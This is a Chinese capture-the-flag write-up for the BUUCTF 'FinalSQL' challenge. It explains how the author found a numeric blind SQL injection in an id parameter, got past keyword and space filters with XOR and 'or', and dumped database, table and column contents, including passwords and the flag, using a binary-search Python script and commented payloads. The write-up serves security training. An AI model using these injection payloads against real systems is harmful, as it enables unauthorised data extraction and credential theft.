[极客大挑战 2019]FinalSQL
首先进入题目正常思路是登录框存在sql注入，尝试万能密码，提示“你可别被我逮住了，臭弟弟”，应该是被过滤了，做一下FUZZ测试，发现过滤了空格，union等关键字
FUZZ字典已经上传到CSDN了
试了很长时间发现注入点不在这里，看见了题目提示，选择正确的神秘代码即可获得flag，出现了id的注入点，重新FUZZ一下，发现单双引号是没有被过滤的，and被过滤了or没有被过滤，输入单引号出现Error，输入1^0出现NO! Not this! Click others~~~，判断是数字型注入
数字型注入的原始查询语句：SELECT * FROM table_name WHERE id='$id'
使用异或操作来进行注入，1^1=0,0^0=0,1^0=1。
我们用两个连续的单引号将查询语句的两个单引号给闭合id=''or(1^0)正确，id=''or(1^1)错误，存在数字型注入
id=''or(length(database())=4) 得到数据库的名字是四个字符
找到注入点注入类型接下来还是用脚本吧
import requests
import time
url="http://5d1aa51f-8d7a-44f9-b222-e46066ebb33a.node5.buuoj.cn:81/search.php?id="
flag=""
i=0
while True:
i+=1
begin=32
end=126 #ascii码表的可打印字符从32到126
tmp=(begin+end) //2
while begin<end:
print(begin,tmp,end)
time.sleep(0.1) #buu的服务器还是停了0.1秒吧，防止429
#爆库
#payload="''or(ascii(substr(database(),%d,1))>%d)"%(i,tmp) #第一个%d对于的i，第二个%d对应的tmp，
substr(database(),%d,1)获取数据库名称的第i个字符，然后通过ascii()函数将其转换为ASCII码，并与tmp比较。#爆表
#payload="''or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i,tmp)
#爆表
#payload="''or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" % (i,tmp)
#爆列
payload="''or(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i,tmp)
r=requests.get(url+payload) #发送一个GET请求到之前定义的
url，并将构造的payload附加到URL后面。if 'Click' in r.text:
begin = tmp+1
tmp=(begin+end)//2
else:
end=tmp
tmp=(begin+end)//2 #检查响应文本中是否包含"Click"，如果包含，说明猜测的字符ASCII值太小，需要增加
begin的值；否则，猜测的值太大，需要减小end的值。然后重新计算tmp。flag+=chr(tmp)
print(flag)
if begin==32:
break
#如果
begin的值回到32，这意味着我们到达了字符范围的开始，这通常表示我们已经找到了完整的字符串，因此退出循环。
最后强调一下代码中，begin=tmp+1是必须的，从代码的可执行性角度来说如果 begin 被设置为 tmp，那么在下一个迭代中，tmp 将再次被设置为 (begin + end) // 2，这将导致 tmp 不变，从而陷入无限循环。
从二分法的角度来说当 if 'Click' in r.text: 条件为真时，意味着当前猜测的字符的 ASCII 值小于或等于 tmp。因此，为了继续查找更高的值，我们将 begin 设置为 tmp + 1，从而排除掉 tmp 这个值，并继续在更高的范围内搜索。
用户：root@localhost
数据库名：Click
表名：F1naI1y
字段名：id,username,password
username：mygod,welcome,site,site,site,site,Syc,finally,flag
password：cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908}表名：Flaaaaag
字段名：id,fl4gawsl
这题还是有点坑的，表Flaaaaag最像存在flag的表，字段fl4gawsl查了啥也没有
